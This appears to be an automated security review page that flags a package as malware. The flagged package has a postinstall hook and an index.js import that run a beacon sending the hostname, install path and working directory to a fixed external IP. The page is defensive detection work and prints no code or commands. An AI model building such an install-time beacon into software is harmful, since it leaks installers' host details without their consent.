AI Security Review
scanned 9d ago · by lpm-firewall-aiThe automatic install hook discloses host and path metadata to a fixed external collector without installer consent. This is an active installation beacon, so blocking publication is warranted.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall hook; importing index.js calls the beacon as well.
Impact
The external recipient receives host and filesystem-location metadata without an installer consent guard.
Mechanism
beacon.cjs builds a payload with the hostname, install path, and current working directory, then sends it in an HTTP POST.
Attack narrative
During installation, the postinstall hook runs beacon.cjs, which sends the hostname, installation path, and current working directory to a fixed external IP address. Importing index.js independently calls the same beacon. The inspected source shows no consent guard for either trigger.
AI rationale
The automatic install hook discloses host and path metadata to a fixed external collector without installer consent. This is an active installation beacon, so blocking publication is warranted.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs beacon.cjs during installation.
- beacon.cjs sends a POST to a fixed external IP address.
- The request payload includes the machine hostname, install path, and working directory.
- Importing index.js also triggers the beacon.
